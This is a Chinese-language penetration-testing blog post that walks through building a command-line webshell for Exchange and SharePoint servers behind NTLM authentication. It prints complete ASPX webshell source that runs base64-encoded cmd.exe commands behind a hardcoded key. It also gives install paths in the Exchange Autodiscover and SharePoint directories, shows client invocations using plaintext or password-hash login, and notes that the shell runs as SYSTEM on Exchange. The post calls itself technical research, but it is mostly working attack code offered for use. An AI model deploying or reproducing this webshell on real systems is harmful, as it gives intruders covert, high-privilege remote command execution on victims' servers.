渗透基础——支持 NTLM Over HTTP 协议的 Webshell 实现
0x00 前言
在某些环境下,访问 Web 服务器的资源需要通过 NTLM Over HTTP 协议进行 NTLM 认证,而我们在这样的 Web 服务器使用 Webshell 时,不仅需要考虑 NTLM 认证的实现,还需要满足能够在命令行下使用。
本文仅在技术研究的角度介绍一种实现方法,开源代码,分享脚本开发细节。
0x01 简介
本文将要介绍以下内容:
- 设计思路
- 脚本开发细节
- 开源代码
0x02 设计思路
通过 NTLM Over HTTP 协议进行 NTLM 认证的 Web 服务器有很多,这里分别以 Exchange 和 SharePoint 为例
(1)Exchange 测试环境
文件保存的绝对路径:
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx
对应的 URL 为:
https://URL/Autodiscover/test.aspx
(2)SharePoint 测试环境
文件保存的绝对路径:
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx
对应的 URL 为:
http://URL/_layouts/15/test.aspx
访问 test.aspx 时均需要通过 NTLM Over HTTP 协议进行 NTLM 认证
这里以一个支持 cmd 命令的 webshell 为例进行测试,webshell 的地址为:https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx
如下图
这个 webshell 需要通过浏览器进行操作,首先完成 NTLM 认证,接着填入正确的 Auth Key 和要执行的 cmd 命令
我们的目标是满足能够在命令行下使用,可以以此为模板进行修改,设计思路如下:
(1)execCmd.aspx
接收 Form 表单请求作为参数,对 Auth Key 进行验证
如果验证失败,返回空结果
如果验证成功,执行传入的 cmd 命令并返回执行结果
(2)aspxCmdNTLM.py
命令行脚本
首先通过 NTLM Over HTTP 协议完成 NTLM 认证,这里需要支持明文和用户口令 hash 两种登录方式
通过 Form 表单请求发送 Auth Key 和要执行的 cmd 命令,接收 cmd 命令的执行结果
execCmd.aspx 和 aspxCmdNTLM.py 的通信内容作 Base64 编码,在程序实现上需要考虑 Base64 编码和解码
0x03 脚本开发细节
1.execCmd.aspx
使用 Page_Load 方法接收 Form 表单请求,其中 data1 用作 Auth Key,data2 用作 cmd 命令
Base64 编码的实现:
byte[] enbytes = Encoding.Default.GetBytes(string1);
string string2 = Convert.ToBase64String(enbytes);
Base64 解码的实现:
byte[] outbyte = Convert.FromBase64String(string1);
string string2 = Encoding.Default.GetString(outbyte);
完整的实现代码如下:
<%@ Page Language="C#"%>
<%@ Import namespace="System.Diagnostics"%>
<%@ Import Namespace="System.IO"%>
<script runat="server">
private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";
protected void Page_Load(object sender, EventArgs e)
{
string data1 = Request.Form["data1"];
if (data1 != AUTHKEY)
{
return;
}
string data2 = Request.Form["data2"];
byte[] outbyte = Convert.FromBase64String(data2);
string payload = Encoding.Default.GetString(outbyte);
string outstr1 = ExecuteCommand(payload);
byte[] enbytes = Encoding.Default.GetBytes(outstr1);
string outstr2 = Convert.ToBase64String(enbytes);
Response.Write(outstr2);
}
private string ExecuteCommand(string command)
{
try
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "/c " + command;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.UseShellExecute = false;
Process process = Process.Start(processStartInfo);
using (StreamReader streamReader = process.StandardOutput)
{
string ret = streamReader.ReadToEnd();
return ret;
}
}
catch (Exception ex)
{
return ex.ToString();
}
}
</script>
2.aspxCmdNTLM.py
NTLM 认证的实现可以参考之前的代码:
https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py
支持明文和用户口令 hash 两种登录方式
Form 表单请求通过 POST 方式发送
Base64 编码和解码需要注意字符串的格式
完整的代码已上传至 github,地址如下:
https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py
execCmd.aspx 需要保存在 Web 服务器
aspxCmdNTLM.py 在命令行下执行,连接 execCmd.aspx 执行 cmd 命令并获得返回结果
aspxCmdNTLM.py 支持明文和用户口令 hash 两种登录方式
对于 Exchange 服务器,对应的 Webshell 权限为 System
如下图
可以直接调用 Exchange PowerShell
命令示例:
python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\""
结果如下图
对于 SharePoint 服务器,对应的 Webshell 权限为用户权限
如下图
可以尝试调用 SharePointServer PowerShell
命令示例:
python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\""
这里需要注意,用户需要配置为能够访问数据库才能够执行 SharePointServer PowerShell 命令
查看可访问数据库的用户列表对应的 Powershell 命令如下:
Add-PSSnapin Microsoft.SharePoint.PowerShell;
Get-SPShellAdmin
添加指定用户访问数据库权限对应的 Powershell 命令如下:
Add-PSSnapin Microsoft.SharePoint.PowerShell;
Add-SPShellAdmin Domain\User1
删除指定用户访问数据库权限对应的 Powershell 命令如下:
Add-PSSnapin Microsoft.SharePoint.PowerShell;
Remove-SPShellAdmin Domain\User1 -Confirm:$false
正常的结果如下图
0x04 小结
本文以 Exchange 和 SharePoint 为例,介绍了支持 NTLM Over HTTP 协议的 Webshell 实现思路,开源代码,分享脚本开发细节。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论